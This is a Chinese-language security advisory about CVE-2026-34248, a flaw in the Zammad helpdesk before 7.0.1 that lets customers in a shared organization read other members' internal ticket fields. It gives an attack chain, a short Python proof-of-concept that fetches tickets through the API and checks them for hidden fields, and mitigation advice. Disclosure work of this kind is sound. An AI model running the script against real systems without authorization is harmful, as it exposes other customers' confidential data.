IPBUF安全漏洞报告
English
CVE-2026-34248 CVSS 5.7 中危

CVE-2026-34248 Zammad信息泄露漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-34248
漏洞类型
信息泄露
CVSS评分
5.7 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Zammad

相关标签

信息泄露Zammad权限绕过CWE-200

漏洞概述

Zammad是一款基于Web的开源帮助台及客户支持系统。在7.0.1版本之前,该系统存在一个信息泄露漏洞。具体而言,处于共享组织中的客户(即可以互相查看工单的用户)在查看同一组织内其他用户的工单时,能够看到本不应对客户显示的字段。这些隐藏字段包括但不限于工单优先级以及仅供内部使用的自定义工单属性等敏感信息。尽管用户无法修改这些字段,但能够读取这些内部数据构成了机密性风险。该漏洞已在Zammad 7.0.1版本中得到修复。

技术细节

该漏洞的根本原因在于Zammad在处理共享组织内工单的访问控制逻辑时,未能正确过滤针对特定用户角色的字段显示权限。在Zammad的业务逻辑中,共享组织允许成员之间透明地查看工单以促进协作。然而,在受影响的版本中,当客户A访问同一组织的客户B所创建的工单详情时,后端或前端渲染逻辑未严格区分“客户可见字段”和“仅内部人员可见字段”。系统错误地将管理员视图或内部视图配置的字段(如内部优先级、敏感元数据)暴露给了普通客户账户。攻击者无需复杂的利用工具,只需拥有同一共享组织的合法账户,并导航至查看其他用户工单的界面,即可通过正常的Web请求或API响应获取这些敏感数据。这本质上是访问控制列表(ACL)检查的缺失或不当实施,导致了权限边界的模糊,使得低权限用户能够越权读取本应仅对内部支持人员可见的高权限信息。

攻击链分析

STEP 1
步骤1:获取初始访问
攻击者注册或获取一个属于Zammad系统中“共享组织”的合法客户账户。
STEP 2
步骤2:识别目标工单
攻击者浏览系统,查找同一共享组织内其他用户创建的工单ID。
STEP 3
步骤3:利用漏洞
攻击者发起查看该工单详情的请求(通过Web界面或API)。由于漏洞存在,系统返回了完整的工单对象,其中包含内部字段。
STEP 4
步骤4:数据泄露
攻击者从响应中提取本应不可见的敏感信息(如优先级、内部备注等)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # This script demonstrates how an attacker might verify the vulnerability by fetching a ticket. # Requires valid credentials for a customer in a shared organization. TARGET_URL = "https://example.zammad.com/api/v1/tickets/{ticket_id}" HEADERS = { "Authorization": "Bearer <VALID_CUSTOMER_TOKEN>", "Content-Type": "application/json" } def check_info_disclosure(ticket_id): """Check if sensitive fields are exposed in the ticket response.""" response = requests.get(TARGET_URL.format(ticket_id=ticket_id), headers=HEADERS) if response.status_code == 200: data = response.json() # Check for fields that should be hidden from customers sensitive_fields = ['priority', 'internal_note', 'custom_internal_field'] found_fields = [field for field in sensitive_fields if field in data] if found_fields: print(f"[+] Vulnerability Confirmed! Exposed fields: {found_fields}") print(f"[+] Ticket Data: {data}") else: print("[-] Sensitive fields not exposed in this ticket.") else: print(f"[!] Request failed with status code: {response.status_code}") if __name__ == "__main__": # Replace with a Ticket ID from another user in the same shared organization check_info_disclosure(123)

影响范围

Zammad < 7.0.1

防御指南

临时缓解措施
如果无法立即升级,建议管理员暂时禁用“共享组织”功能,或者严格限制共享组织内的成员权限,确保客户账户之间无法互相访问工单,直到完成版本更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表